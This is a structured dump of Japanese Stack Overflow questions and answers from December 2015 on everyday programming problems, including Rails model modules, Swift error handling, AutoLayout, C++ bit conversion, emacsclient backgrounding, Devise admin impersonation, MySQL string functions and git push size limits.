[ { "body": "実装の共有はモジュールを使うのが選択肢の一つかと思います。例えば`models/concerns`にモジュールを作り、それをモデルクラスで`extend`するのはどうでしょうか?(特異メソッドの定義になるので、`include`ではなく`extend`になる)\n\n```\n\n -- app/models/concerns/hoge.rb --\n module TblnamePrefix\n def table_name_prefix\n 'm_'\n end\n end\n \n -- app/models/hoo.rb --\n require 'hoge'\n class Hoo < ActiveRecord::Base\n extend TblnamePrefix\n end\n \n (irbでの実行例)\n irb(main):003:0> Hoo.table_name_prefix\n => \"m_\"\n \n```", "comment_count": 5, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T07:12:48.950", "id": "20450", "last_activity_date": "2015-12-30T03:48:06.373", "last_edit_date": "2015-12-30T03:48:06.373", "last_editor_user_id": "9403", "owner_user_id": "9403", "parent_id": "20449", "post_type": "answer", "score": 0 }, { "body": "ActiveSupport::Concernを使ってみました。 \nこんな感じでどうでしょうか? \nUser, Item, Orderの3つのクラスがあり、UserとItemはテーブル名に\"m_\"というprefixが付く設計です。\n\n```\n\n # db/schema.rb\n ActiveRecord::Schema.define(version: 20151230050425) do\n \n create_table \"m_items\", force: :cascade do |t|\n t.string \"name\"\n t.datetime \"created_at\", null: false\n t.datetime \"updated_at\", null: false\n end\n \n create_table \"m_users\", force: :cascade do |t|\n t.string \"name\"\n t.datetime \"created_at\", null: false\n t.datetime \"updated_at\", null: false\n end\n \n create_table \"orders\", force: :cascade do |t|\n t.integer \"user_id\"\n t.integer \"item_id\"\n t.datetime \"created_at\", null: false\n t.datetime \"updated_at\", null: false\n end\n \n add_index \"orders\", [\"item_id\"], name: \"index_orders_on_item_id\"\n add_index \"orders\", [\"user_id\"], name: \"index_orders_on_user_id\"\n \n end\n \n # app/models/concerns/master_table_prefix.rb\n module MasterTablePrefix\n extend ActiveSupport::Concern\n \n module ClassMethods\n def table_name_prefix\n 'm_'\n end\n end\n end\n \n # app/models/user.rb\n class User < ActiveRecord::Base\n include MasterTablePrefix\n \n has_many :orders\n end\n \n # app/models/item.rb\n class Item < ActiveRecord::Base\n include MasterTablePrefix\n \n has_many :orders\n end\n \n # app/models/order.rb\n class Order < ActiveRecord::Base\n belongs_to :user\n belongs_to :item\n end\n \n```\n\n以下は動作確認用のテストコードです。\n\n```\n\n # test/models/order_test.rb\n require 'test_helper'\n \n class OrderTest < ActiveSupport::TestCase\n test \"Create order\" do\n user = User.create! name: 'Alice'\n item = Item.create! name: 'MacBook'\n order = Order.create! user: user, item: item\n \n assert_equal order, Order.first\n end\n end\n \n```\n\nGitHubにもコードをアップしているので参考にしてみてください。\n\n[JunichiIto/module-prefix-sandbox](https://github.com/JunichiIto/module-\nprefix-sandbox)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T05:16:59.020", "id": "20469", "last_activity_date": "2015-12-30T05:16:59.020", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "85", "parent_id": "20449", "post_type": "answer", "score": 0 }, { "body": "直接の回答ではないのですが、これぐらいだと必要なモデルに直接書いておいた方がいいのではないでしょうか。\n\nたとえば、複数のモデルに\n\n```\n\n validate_presence_of :name\n \n```\n\nが共通して存在するからと言って、それを共通化することは普通はやりません。`table_name_prefix`も設定の一部であると考えると、共通化して隠蔽するには適さない内容だと思います。\n\nすべてのモデルに共通しているなら共通化しても良いかもしれません。また、その3つのモデルに他と明らかに違う特徴があり、それをモジュールなり継承なりで表現できるのであれば、それは共通化の理由になります。\n\n* * *\n\nとは言っても、`def table_name_prefix; 'm_'; end`というのはみっともないので、gem作りました。\n\nGemfileに\n\n```\n\n gem 'table_prefix'\n \n```\n\nを追加して`bundle install`してください。\n\nモデルでは\n\n```\n\n class Post < ActiveRecord::Base\n def table_name_prefix\n 'm_'\n end\n end\n \n```\n\nの替わりに\n\n```\n\n class Post < ActiveRecord::Base\n table_prefix 'm_'\n end\n \n```\n\nと書けるようになります。\n\n`table_prefix`は`table_name_prefix`メソッドを定義するメソッドになっています\n\n```\n\n module TablePrefix\n def table_prefix(prefix)\n class_eval { class << self; self; end }.class_eval do\n define_method('table_name_prefix') do\n prefix.to_s\n end\n end\n end\n end\n ActiveRecord::Base.extend TablePrefix\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T06:52:30.163", "id": "20471", "last_activity_date": "2015-12-30T06:52:30.163", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5793", "parent_id": "20449", "post_type": "answer", "score": 0 } ]
20449
20469
20450
{ "accepted_answer_id": "20466", "answer_count": 1, "body": "サイトや他の質問で do try catch\nを入れることで対策できるということは解ったのですが、それらをどこに入れるのかが解らないため質問させていただきました。\n\n```\n\n import Foundation\n var urlString = \"http://www.apple.com\"\n var url = NSURL(string: urlString)!\n var request = NSURLRequest(URL: url)\n var data = NSURLConnection.sendSynchronousRequest(request, returningResponse: nil, error: nil)\n var htmlString = NSString(data: data!, encoding: NSUTF8StringEncoding)!\n \n```\n\nどうかご指導よろしくお願いいたします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T09:33:08.217", "favorite_count": 0, "id": "20451", "last_activity_date": "2015-12-30T03:35:11.260", "last_edit_date": "2015-12-29T10:08:50.060", "last_editor_user_id": "76", "owner_user_id": "13833", "post_type": "question", "score": 0, "tags": [ "swift" ], "title": "Extra argument 'error' in callのエラー対策について", "view_count": 1103 }
[ { "body": "単純にエラー処理を入れるだけであれば、こんな感じになります。\n\n```\n\n import Foundation\n \n let urlString = \"http://www.apple.com\"\n let url = NSURL(string: urlString)!\n let request = NSURLRequest(URL: url)\n \n do {\n let data = try NSURLConnection.sendSynchronousRequest(request, returningResponse: nil)\n let htmlString = NSString(data: data, encoding: NSUTF8StringEncoding)!\n \n // htmlStringを使った処理\n // print(htmlString)\n \n } catch let error {\n \n // エラー処理\n print(error)\n }\n \n```\n\n実際に使うのであれば、NSURLConnection.sendSynchronousRequest()はiOS9でdeprecatedになっているので、NSURLSession.dataTaskWithRequest()を使う形に書きなおしたほうが良いかと思われます。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T03:35:11.260", "id": "20466", "last_activity_date": "2015-12-30T03:35:11.260", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7459", "parent_id": "20451", "post_type": "answer", "score": 1 } ]
20451
20466
20466
{ "accepted_answer_id": "20465", "answer_count": 1, "body": "画像のように、ImageViewの下部に灰色のViewの上部を合わせたいです。どのように指定すれば良いでしょうか?\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/NTPD5.png)](https://i.stack.imgur.com/NTPD5.png)\n\n(回答者補筆) \nImageViewの高さは固定、灰色のViewの高さは、フレキシブル(画面の大きさによって可変)です。", "comment_count": 4, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T12:19:47.887", "favorite_count": 0, "id": "20452", "last_activity_date": "2015-12-30T03:31:53.763", "last_edit_date": "2015-12-30T03:07:30.957", "last_editor_user_id": "7362", "owner_user_id": "10958", "post_type": "question", "score": 0, "tags": [ "ios", "swift", "objective-c", "xcode", "autolayout" ], "title": "AutoLayoutでViewの下部とViewの上部を合わせる方法", "view_count": 1958 }
[ { "body": "AutoLayoutの基本は、Constraint(制約)をViewに加えるという操作です。Constraintは、Viewの位置と大きさが、一意に決まるように設定します。不足しても、多すぎてもXcodeから警告が出ます。 \nもっとも頻度の高いConstraintは、このケースでしょう。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/zrWOE.png)](https://i.stack.imgur.com/zrWOE.png)\n\n①左(あるいは右)方向のオブジェクトに対する間隔。②上(あるいは下)方向のオブジェクトに対する間隔。③Viewの幅。④Viewの高さ。 \n4つのConstraintを、Storyboard上で、このように指定します。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/4flsJ.png)](https://i.stack.imgur.com/4flsJ.png)\n\nマウスクリックで、破線を実線に変えたり、チェックを入れて、最後に「Add 4 Constraints」ボタンを押します。\n\nViewのConstraintは、いちばん近くにあるオブジェクトに対するものになります。Viewの左側に別のViewが存在すれば、左側のConstraintは、そのViewとの間隔になります。左側に別のViewがなければ、親Viewの左エッジが、Constraintの対象のオブジェクトとなります。\n\n次に、Viewの横幅が、他のオブジェクトとの関係によって、フレキシブルに変化するConstraintを考えます。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/e6NuP.png)](https://i.stack.imgur.com/e6NuP.png)\n\nViewの横幅は、親Viewの横幅が変化すると、一緒に変化します。 \nこれは、このように設定します。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/RL07O.png)](https://i.stack.imgur.com/RL07O.png)\n\nWidthのチェックを外して、代わりに右側の破線をクリックして、実線に変えます。 \n幅も高さも、他のオブジェクトに対してフレキシブルにするのは、先の応用です。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/KeTvl.png)](https://i.stack.imgur.com/KeTvl.png)\n\nWidth、Height両方のチェックを外して、四囲すべて実線にします。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/9ypzL.png)](https://i.stack.imgur.com/9ypzL.png)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T03:31:53.763", "id": "20465", "last_activity_date": "2015-12-30T03:31:53.763", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7362", "parent_id": "20452", "post_type": "answer", "score": 2 } ]
20452
20465
20465
{ "accepted_answer_id": "20487", "answer_count": 1, "body": "C++で、文字列を2進数表記のintに変換する方法を探しています。 \nいろいろと検索しては見ましたが、どれもprintfを用いた標準出力の方法でした。\n\n文字列をバイナリ変換し、それを2進数変換、 \n結果を文字列変換し、数値に変換する \nという手順を踏む必要があるのかなと思いますが、 \nstringなどのクラスにgetByte()などの関数も見当たらないため、どういった方法で変換するのかわかりません。\n\nたとえば、 \n\"文字列\" という入力があった場合、 \n\"e69687 e5ad97 e58897\" \nに変換し、 \n\"[1110 0110 1001 0110 1000 0111] [1110 0101 1010 1101 1001 0111] [1110 0101\n1000 1000 1001 0111]\" \nとなります。 \nこれを \nint[] mo = [1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, ...] \nint[] zi = [1, 1, 1, 0, 0, 1, 0, 1, ...] \n略 \nという形に変換したいです。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T14:32:07.573", "favorite_count": 0, "id": "20454", "last_activity_date": "2015-12-30T17:45:40.923", "last_edit_date": "2015-12-30T13:22:53.297", "last_editor_user_id": "8396", "owner_user_id": "8396", "post_type": "question", "score": 1, "tags": [ "c++" ], "title": "C++で文字列を2進数変換して出力する方法", "view_count": 2310 }
[ { "body": "C++11 の wstring_convert class と range-based for loop を使ってみました。配列ではなく vector\nに変換結果を格納しています。\n\n```\n\n #include <iostream>\n #include <iomanip>\n #include <locale>\n #include <codecvt> \n #include <climits>\n #include <bitset>\n #include <vector>\n \n using namespace std;\n \n int main() {\n const u32string str = U\"SO新年\";\n vector<int>** bit_vectors = new vector<int>*[str.size()];\n wstring_convert<codecvt_utf8<char32_t>, char32_t> converter;\n \n int n = 0;\n for(const char32_t& c : str) {\n string u8_char = converter.to_bytes(c);\n bit_vectors[n] = new vector<int>(0);\n for(const char& uc : u8_char) {\n for(char& bc : bitset<CHAR_BIT>(uc).to_string()) {\n bit_vectors[n]->push_back(bc - '0');\n }\n }\n n++;\n }\n \n // Show all elements\n for(size_t i=0;i<str.size();i++){\n cout << setfill(' ') << setw(2) << converter.to_bytes(str.at(i)) << \": \";\n cout << \"[\";\n for(const int &v : *bit_vectors[i]){\n cout << v << \", \";\n }\n cout << \"\\b\\b]\" << endl;\n delete bit_vectors[i];\n }\n delete bit_vectors;\n \n return 0;\n }\n \n```\n\n**実行結果**\n\n```\n\n $ g++ --version\n g++ (Ubuntu 5.2.1-23ubuntu1~15.10) 5.2.1 20151028\n $ g++ -std=c++11 -O -o bit_vectors bit_vectors.cc\n $ ./bit_vectors\n S: [0, 1, 0, 1, 0, 0, 1, 1]\n O: [0, 1, 0, 0, 1, 1, 1, 1]\n 新: [1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0]\n 年: [1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0]\n : [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1]\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T16:32:43.490", "id": "20487", "last_activity_date": "2015-12-30T17:45:40.923", "last_edit_date": "2015-12-30T17:45:40.923", "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20454", "post_type": "answer", "score": 2 } ]
20454
20487
20487
{ "accepted_answer_id": "20457", "answer_count": 2, "body": "ターミナルから `/Applications/Emacs.app/Contents/MacOS/bin/emacsclient` を使ってファイルを開くと\n”Waiting for Emacs...” となってしまうので `&`\nをつけてバックグラウンドで実行してるのですが、そもそも完全に切り離して使うということは出来るのでしょうか?\n\nバックグラウンドで動かす場合の問題は\n\n * ターミナルのタブを閉じるとファイルが閉じる\n * ファイルを閉じるとbg job の終了がターミナル側に通知される\n\nの二点なので上記二点を解消したいと思っています。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T15:24:32.657", "favorite_count": 0, "id": "20456", "last_activity_date": "2015-12-29T17:03:15.733", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 1, "tags": [ "emacs" ], "title": "Terminalから emacsclient を開いた時に ”Waiting for Emacs...”で待機しないようにする", "view_count": 293 }
[ { "body": "上の2つの問題は、nohupでおおむねクリアできると思います。\n\n```\n\n $ nohup emacsclient somefile &>/dev/null </dev/null &\n \n```\n\nあるいは、bashならdiswownとか。\n\n```\n\n $ emacsclient somefile &>/dev/null </dev/null &\n $ disown %emacsclient\n \n```\n\nzshなら&!とか。\n\n```\n\n % emacsclient somefile &>/dev/null </dev/null &!\n \n```\n\nちなみに私の場合は、ターミナルから切り離したうえ、Emacsの中からfind-\nfileしたのと同じように扱いたいので、以下のようなことをシェルスクリプトにして使っています。\n\n```\n\n $ emacsclient -e '(find-file \"somefile\")'\n \n```", "comment_count": 4, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T16:07:34.123", "id": "20457", "last_activity_date": "2015-12-29T16:07:34.123", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4010", "parent_id": "20456", "post_type": "answer", "score": 1 }, { "body": "`disown` 以外に以下の様な方法もあります。\n\n```\n\n $ sh -c 'emacsclient test.txt <&- >/dev/null 2>&1 &'\n \n```\n\nこれで emacsclient プロセスをログインシェルのプロセスグループから切り離す事ができます。一種の daemonize ですね。\n\n```\n\n $ pgrep emacscli\n 4064\n $ ps -p 4064 -o pid,ppid,args\n PID PPID COMMAND\n 4064 1 emacsclient test.txt\n $ lsof -p 4064\n COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME\n emacsclie 4064 nemo cwd DIR 8,7 49152 261633 /home/nemo\n emacsclie 4064 nemo rtd DIR 8,1 4096 2 /\n emacsclie 4064 nemo txt REG 8,5 22332 661576 /usr/bin/emacsclient\n emacsclie 4064 nemo mem REG 8,1 1807496 526869 /lib/i386-linux-gnu/libc-2.21.so\n emacsclie 4064 nemo mem REG 8,1 143792 526864 /lib/i386-linux-gnu/ld-2.21.so\n emacsclie 4064 nemo 0u unix 0x00000000 0t0 1450045 socket\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T17:03:15.733", "id": "20458", "last_activity_date": "2015-12-29T17:03:15.733", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20456", "post_type": "answer", "score": 0 } ]
20456
20457
20457
{ "accepted_answer_id": "20463", "answer_count": 1, "body": "Railsで`Devise`を使ったユーザー認証を実装しています。\n\n特定のユーザーが他のテスト用のユーザーでは再現しないエラーを抱えているという報告があったのですが、この場合そのユーザーでログインした場合の画面情報を確認するにはどのような方法ありますか?\n\n自分のやり方ですとローカルにDBをコピーして、パスワードがわかってるユーザーの`encrypted_password`を該当ユーザーの`encrypted_password`に入れる、というものですがもうちょっとスマートな方法はないでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T02:19:07.273", "favorite_count": 0, "id": "20462", "last_activity_date": "2015-12-30T07:43:18.900", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails", "devise" ], "title": "特定のユーザーのログインを再現する方法", "view_count": 623 }
[ { "body": "## Adminのbecome機能\n\n管理画面に`become機能`を実装するのはどうでしょうか。\n\n`Devise`のWikiのHow Toを集めたページ \n[How Tos · plataformatec/devise\nWiki](https://github.com/plataformatec/devise/wiki/How-Tos) \nの中に\n\n「もしアドミンユーザなら他のユーザになる方法」 \n[How To: Sign in as another user if you are an admin · plataformatec/devise\nWiki](https://github.com/plataformatec/devise/wiki/How-To:-Sign-in-as-another-\nuser-if-you-are-an-admin) \nが記載されています。\n\n一度実装してしまえば、該当ユーザの(成り代わったユーザの)画面情報にとどまらず画面からの操作が可能です。\n\n実装完了してしまえば、直接DB操作することなく全てWebブラウザの画面で完結することができます。\n\nもし本番で不用意に他のユーザに変わりたくないというのであれば、ローカルだけ(development環境だけ)この機能が使えるようにしておくなど方法があると思います。\n\n## 一部引用かつ翻訳\n\n「もしアドミンユーザなら他のユーザになる方法」 \n[How To: Sign in as another user if you are an admin · plataformatec/devise\nWiki](https://github.com/plataformatec/devise/wiki/How-To:-Sign-in-as-another-\nuser-if-you-are-an-admin)\n\n```\n\n class AdminController < ApplicationController\n before_filter :authenticate_user!\n \n def become\n return unless current_user.is_an_admin?\n sign_in(:user, User.find(params[:id]))\n redirect_to root_url # or user_root_url\n end\n end\n \n```\n\nもし、`last_sign_in_at`と`current_sign_in`を該当ユーザに成り代わったときに更新したくなければ、`sign_in(:user,\nUser.find(params[:id]))`の部分を`sign_in(:user, User.find(params[:id]), { :bypass\n=> true })`に変更できる。\n\nこの後 `:bypass`オプションの詳しい説明が、\n\n> The :bypass option bypasses warden callbacks and stores the user straight in\n> the session.\n\nと続きますが、いまいち意味がわからず.....\n\nまた、[flyerhzm/switch_user](https://github.com/flyerhzm/switch_user)というのもあると参考までに紹介されています。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T03:17:01.043", "id": "20463", "last_activity_date": "2015-12-30T07:43:18.900", "last_edit_date": "2015-12-30T07:43:18.900", "last_editor_user_id": "9008", "owner_user_id": "9008", "parent_id": "20462", "post_type": "answer", "score": 2 } ]
20462
20463
20463
{ "accepted_answer_id": null, "answer_count": 2, "body": "Monacaにて、iPhone向けアプリ開発の勉強をしています。 \nons-navigatorにて子画面として表示されたページ内に、以下のようなエレメントがあります。\n\n```\n\n <input type=\"search\" id=\"id1\">\n \n```\n\nこのタグのvalueを取得し、pushPage(\"self.html\",options)の第2パラメータとして与えたいと考えています。\n\n問題点 \n通常ならば、document.getElementById(\"id1\").valueのようにすれば、素直にアクセスできるのですが、同じIDをもつエレメントが複数ある状態では使用できません。\n\n代替案 \n思いつきませんでした。\n\nonsen-uiでの常とう手段があれば、ご教示願えないでしょうか。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T05:46:04.537", "favorite_count": 0, "id": "20470", "last_activity_date": "2016-11-03T00:52:51.257", "last_edit_date": "2015-12-30T05:56:45.613", "last_editor_user_id": "13843", "owner_user_id": "13843", "post_type": "question", "score": 3, "tags": [ "monaca", "onsen-ui" ], "title": "ons-navigatorにて同一のページを複数表示した場合の、getElementByIdに代わるエレメント検索手段", "view_count": 483 }
[ { "body": "自己回答になりますが、代替案で、以下のような方法を見つけました。\n\n初心者の為、正しく理解できているか心もとないので、上級者の方、フォローお願いします。\n\nidを使わずに、ng-modelを使用することで、データバインディング(?)できる。\n\n```\n\n <script>\n var module = ons.bootstrap();\n \n module.controller('searchController', function($scope){\n $scope.search = function(search_keyword){\n myNavigator.pushPage('self.html', {keyword: search_keyword});\n };\n \n $scope.options = $scope.myNavigator.getCurrentPage().options;\n if(typeof($scope.options.keyword)==\"undefined\") $scope.options.keyword=\"\";\n $scope.search_keyword = $scope.options.keyword;\n });\n </script>\n \n <ons-navigator var=\"myNavigator\" page=\"self.html\">\n </ons-navigator>\n \n <ons-template id=\"self.html\">\n <ons-page ng-controller=\"searchController\">\n <input type=\"search\" class=\"search-input\" ng-model=\"search_keyword\" /> \n \n <ons-button ng-click=\"search(search_keyword)\">\n <div>検索</div>\n </ons-button>\n </ons-page>\n </ons-template>\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T07:19:08.977", "id": "20472", "last_activity_date": "2015-12-30T07:19:08.977", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13843", "parent_id": "20470", "post_type": "answer", "score": 2 }, { "body": "そもそもjavascriptでは \ngetElement **s** 系で配列として取得することが出来ます。 \n後は配列の順番で対象を特定してやれば好きにコントロールできるはずです。\n\n```\n\n getElementsByName(\"name\")\n getElementsByTagName(\"tagName\")\n getElementsByClassName(\"class\")\n \n```\n\nex)\n\n```\n\n fast_input_value = getElementsByTagName(\"input\")[0].value;\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-02-29T00:25:31.113", "id": "22646", "last_activity_date": "2016-02-29T00:25:31.113", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9262", "parent_id": "20470", "post_type": "answer", "score": 2 } ]
20470
null
20472
{ "accepted_answer_id": "20477", "answer_count": 1, "body": "カラムA \nあいちけん \nいわてけん \nえひめけん \nが入っています。最初の1文字をカラムBに追加するにはどうすればよいでしょうか\n\n理想 \nカラムB \nあ \nい \nえ", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T09:22:07.137", "favorite_count": 0, "id": "20475", "last_activity_date": "2015-12-30T10:34:32.093", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7973", "post_type": "question", "score": 0, "tags": [ "mysql" ], "title": "MySQLカラム置換挿入", "view_count": 47 }
[ { "body": "`LEFT()` という関数があります。 \n<https://dev.mysql.com/doc/refman/5.6/ja/string-functions.html#function_left>\n\n次のクエリで出来ると思います。\n\n```\n\n UPDATE テーブル名 SET カラムB=LEFT(カラムA, 1);\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T10:34:32.093", "id": "20477", "last_activity_date": "2015-12-30T10:34:32.093", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3249", "parent_id": "20475", "post_type": "answer", "score": 2 } ]
20475
20477
20477
{ "accepted_answer_id": null, "answer_count": 1, "body": "sftpでサーバー上のファイルを同時編集する環境があります。\n\nsftpユーザーは接続する人の数だけあるのですが、パーミッションはどのように設定するのが理想でしょうか。\n\nこの場合はsftpユーザーは1つにして共有するほうがよいのかどうかもわかりません。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T11:24:39.687", "favorite_count": 0, "id": "20478", "last_activity_date": "2023-03-31T07:22:56.950", "last_edit_date": "2023-03-31T07:22:56.950", "last_editor_user_id": "3060", "owner_user_id": "9149", "post_type": "question", "score": 1, "tags": [ "sftp" ], "title": "複数人で操作するディレクトリやファイルのパーミッションについて", "view_count": 310 }
[ { "body": "ユーザーを分ける理由にもよると思いますが、異なるUNIXユーザー間でファイルを共有する場合、次のような方法が考えられると思います。\n\n(a). 共有用のUNIXグループを作成し、各ユーザーをそのグループに参加させる \n(b). ファイルシステムのACL機能(POSIX ACL)を使用し、ユーザー単位で権限を指定する\n\n(a)は、グループ単位でパーミッション指定する形となるため特定のユーザーのみ例外といった指定を行うことは難しいと思います。\n\n(b)は、ユーザー単位で細かく権限を指定することが可能ですが、環境によってはパーティションの再マウントが必要になります。\n\nまた、共有対象のユーザー間であれば一律同じアクセス権を与えて構わないという場合は、 \n「共有用のUNIXユーザーを1つ作成、公開鍵認証を使用して、各ユーザーの公開鍵を共有用のUNIXユーザーに登録して管理する」という方法も考えられると思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T17:50:03.667", "id": "20488", "last_activity_date": "2015-12-30T17:50:03.667", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9017", "parent_id": "20478", "post_type": "answer", "score": 2 } ]
20478
null
20488
{ "accepted_answer_id": null, "answer_count": 1, "body": "各ユーザーの言語設定について`User.lang` で `:en` や `:ja`などの省略名のシンボルを返すようにしています。\n\nこの時ユーザの言語設定が日本語なら`en`を`イギリス`に、英語なら`English`に変えるために\n\n### config/locales/ja.yml\n\n```\n\n ja:\n en: 'イギリス'\n \n```\n\n### config/locales/en.yml\n\n```\n\n en:\n en: 'English`\n \n```\n\nのように記述してるのですが、全ての国に対応させるのが少々手間で、またこの機能はそれなりに汎用性もあると思うのですが \nこれらを上手くとりあつかえる`gem`や、もしくはRailsの関数などはありますか?\n\n### 国名と言語名が区別されていなかったので修正しました。\n\n言語の省略名を扱うGemとして以下の二つが見つかりましたが、省略名から指定した言語での言語のフルネームを取得できないようでした。\n\n<https://github.com/alphabetum/iso-639>\n\n<https://github.com/scsmith/language_list>", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T12:10:08.937", "favorite_count": 0, "id": "20480", "last_activity_date": "2016-04-28T18:39:02.123", "last_edit_date": "2015-12-30T16:21:17.570", "last_editor_user_id": "3271", "owner_user_id": "3271", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails" ], "title": "言語の省略名からフルネームを取得する方法", "view_count": 171 }
[ { "body": "国に関するデータを扱う [hexorx/countries](https://github.com/hexorx/countries) という gem\nがあります", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T12:47:42.620", "id": "20481", "last_activity_date": "2015-12-30T12:47:42.620", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7471", "parent_id": "20480", "post_type": "answer", "score": 1 } ]
20480
null
20481
{ "accepted_answer_id": null, "answer_count": 2, "body": "今までgit管理していなかったサイトをgit管理することにし、 \n自前のgitlabにpushしようとしたのですが、 \n以下のようなエラーが出てしまいました。\n\n```\n\n $ git push origin master:master\n Counting objects: 21810, done.\n Delta compression using up to 4 threads.\n Compressing objects: 100% (21810/21810), done.\n error: RPC failed; result=22, HTTP code = 413B | 177.00 KiB/s \n fatal: The remote end hung up unexpectedly\n Writing objects: 100% (21810/21810), 1.00 GiB | 21.07 MiB/s, done.\n Total 21810 (delta 4024), reused 0 (delta 0)\n fatal: The remote end hung up unexpectedly\n Everything up-to-date\n \n```\n\n容量は1.2GBほどあり、 \n一気にpushしたせいでエラーがでてしまったのかと思うのですが、 \nこれを解決する方法はないでしょうか。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T12:50:29.417", "favorite_count": 0, "id": "20482", "last_activity_date": "2015-12-30T20:28:53.297", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9149", "post_type": "question", "score": 3, "tags": [ "git" ], "title": "gitで大容量のコミットをpushするとき", "view_count": 4245 }
[ { "body": "大きなファイルを一度`git`の管理フォルダから外してからステージングしなおしてはどうでしょうか?\n\nまた基本的にバイナリファイルなどを取り扱うことは`git`は苦手なため、大きなバイナリファイルがあるのであれば`git-lfs`を使うことをおすすめします。\n\n<https://git-lfs.github.com/>", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T13:38:08.517", "id": "20484", "last_activity_date": "2015-12-30T18:16:34.307", "last_edit_date": "2015-12-30T18:16:34.307", "last_editor_user_id": "3271", "owner_user_id": "3271", "parent_id": "20482", "post_type": "answer", "score": 4 }, { "body": "トランスポートに HTTP を使っていて 413 が返されているのなら、それはやはり送信しようとするデータのサイズがサーバにとって大きすぎるということです。\n\nGitLab のセットアップの詳細が不明なのでわかりませんが、例えば nginx\nをフロントエンドサーバにしているのなら、次のような設定をすれば改善するかもしれません。\n\n```\n\n client_max_body_size 2g;\n \n```\n\nあるいは、送信データサイズの制限がない SSH のようなトランスポートを使うのがよいかと思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T20:28:53.297", "id": "20489", "last_activity_date": "2015-12-30T20:28:53.297", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9873", "parent_id": "20482", "post_type": "answer", "score": 1 } ]
20482
null
20484
{ "accepted_answer_id": "26467", "answer_count": 1, "body": "Railsの`i18n`では`ja.yml`が日本語の設定ファイルとして使われていますが、ISO 3166 の定義では`jp`になっているようです。\n\n<https://en.wikipedia.org/wiki/ISO_3166>\n\n`ja`はどこかで規定されている物なのでしょうか? \n`ja`以外にもISO 3166の定義から外れているものがあるのかを調べるために知りたいです。", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T13:34:28.983", "favorite_count": 0, "id": "20483", "last_activity_date": "2016-06-05T08:03:00.153", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 4, "tags": [ "ruby-on-rails", "i18n" ], "title": "\"jp\"がISO3166で定められた日本の省略のはずですが、`ja.yml`が使われている理由", "view_count": 299 }
